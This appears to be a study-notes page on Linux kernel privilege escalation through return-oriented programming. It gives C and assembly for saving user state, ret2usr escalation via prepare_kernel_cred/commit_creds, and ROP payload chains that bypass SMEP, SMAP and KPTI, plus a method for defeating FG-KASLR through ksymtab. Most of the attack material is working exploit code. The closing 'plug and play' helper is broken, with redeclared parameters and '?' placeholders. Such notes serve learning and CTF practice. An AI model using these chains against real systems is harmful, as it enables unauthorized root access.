ROP

#smep#smap#kpti#fg-kaslr#rop

Always save state first, before triggering the overflow — you need cs/ss/rsp/rflags from a clean context to build the return frame later.

What are these registers?

  • cs (code segment ) — tells the CPU which privilege ring code runs in (user vs kernel).
  • ss (stack segment selector) — same idea but for the stack segment
  • rsp — As you already know
  • rflags — CPU flags (interrupt-enable, direction, etc.) active in userland before the trap

All four together form the iretq frame (rip, cs, rflags, rsp, ss) that hands control back to userspace.

unsigned long user_cs, user_ss, user_sp, user_rflags;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

0. No mitigations — ret2usr

  • Overwrite the return address with a userland function pointer. Kernel executes with kernel privileges but runs your code. commit_creds/prepare_kernel_cred addresses come straight from cat /proc/kallsyms if KASLR is off (or after a leak).
void escalate_privs(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
        "xor rdi, rdi;"
        "call rax; mov rdi, rax;"
        "movabs rax, 0xffffffff814c6410;" //commit_creds
        "call rax;"
        "swapgs;"
        "mov r15, user_ss;    push r15;"
        "mov r15, user_sp;    push r15;"
        "mov r15, user_rflags; push r15;"
        "mov r15, user_cs;    push r15;"
        "mov r15, user_rip;   push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

1. With SMEP + SMAP

  • SMEP marks userland pages non-executable in kernel mode . So, no more ret2usr. We need to build a real ROP chain instead: commit_creds(prepare_kernel_cred(0)), then manually fake the iretq frame.

    Note Trying to clear CR4 bit 20 via native_write_cr4() doesn’t work on modern kernels — the pinned bits (cr4_pinned_mask) get silently restored, you just get a WARN_ONCE in dmesg.

payload[off++] = pop_rdi_ret;
payload[off++] = 0x0;                       // rdi <- 0
payload[off++] = prepare_kernel_cred;       // prepare_kernel_cred(0)
payload[off++] = pop_rdx_ret;
payload[off++] = 0x8;                       // rdx <- 8
payload[off++] = cmp_rdx_jne_pop2_ret;      // force JNE to not branch
payload[off++] = 0x0; payload[off++] = 0x0; // dummy rbx / rbp
payload[off++] = mov_rdi_rax_jne_pop2_ret;  // rdi <- rax (prepare_kernel_cred's return)
payload[off++] = 0x0; payload[off++] = 0x0;
payload[off++] = commit_creds;            // commit_creds(prepare_kernel_cred(0))
payload[off++] = swapgs_pop1_ret;
payload[off++] = 0x0;
payload[off++] = iretq;
payload[off++] = user_rip;  
payload[off++] = user_cs;
payload[off++] = user_rflags; 
payload[off++] = user_sp; 
payload[off++] = user_ss;

SMAP note: kills stack-pivot-to-userland (kernel can no longer touch a userland stack) — keep the whole chain on the kernel stack, don’t pivot out.


2. With SMEP + SMAP + KPTI

  • KPTI splits kernel/user page tables — plain swapgs; iretq isn’t enough, cr3 needs swapping too(To swap kernel pml4 pointer to userspace pml4 pointer). But it is easy to swap using pre-defined functions. Reuse the kernel’s own exit trampoline:
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
// -> ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

unsigned long kpti_trampoline = 0xffffffff81200f10 + 22; // skip the reg pops, lands expecting [rax,rdi,rip,cs,rflags,sp,ss] on the stack
  • Replace the manual swapgs; iretq from section 1 with:
payload[off++] = commit_creds;    // commit_creds(prepare_kernel_cred(0))
payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
payload[off++] = 0x0;             // dummy rax
payload[off++] = 0x0;             // dummy rdi
payload[off++] = user_rip;  
payload[off++] = user_cs;
payload[off++] = user_rflags; 
payload[off++] = user_sp; 
payload[off++] = user_ss;

3. FG-KASLR (per-function randomization)

  • FG-KASLR randomizes every function individually which means fixed offsets from one leak no longer work.
  • However, some regions never get randomized — the low _text gadget region and ksymtab (__ksymtab_*), where each exported symbol stores a value_offset relative to its own table entry.
struct kernel_symbol {
    int value_offset;
    int name_offset;
    int namespace_offset;
};
  • Resolve __ksymtab_commit_creds / __ksymtab_prepare_kernel_cred from /proc/kallsyms then use an arbitrary-read gadget to dereference value_offset and recover the real function address:

  • This protection is intended to prevent easy wins from a single kernel pointer leak. The attacker now needs a full arbitrary read primitive for exploitation.


4. Plug and Play

void craft_rop_chain(unsigned long *chain, unsigned *off, unsigned long kbase,
               unsigned long func, unsigned long arg){
    unsigned long pop_rdi_ret = kbase + ?;
    unsigned long arg = kbase + ?;
    unsigned long func = kbase + ?;
    chain[(*off)++] = pop_rdi_ret;
    chain[(*off)++] = arg;
    chain[(*off)++] = func;
}

References:

  • https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
  • https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
  • https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/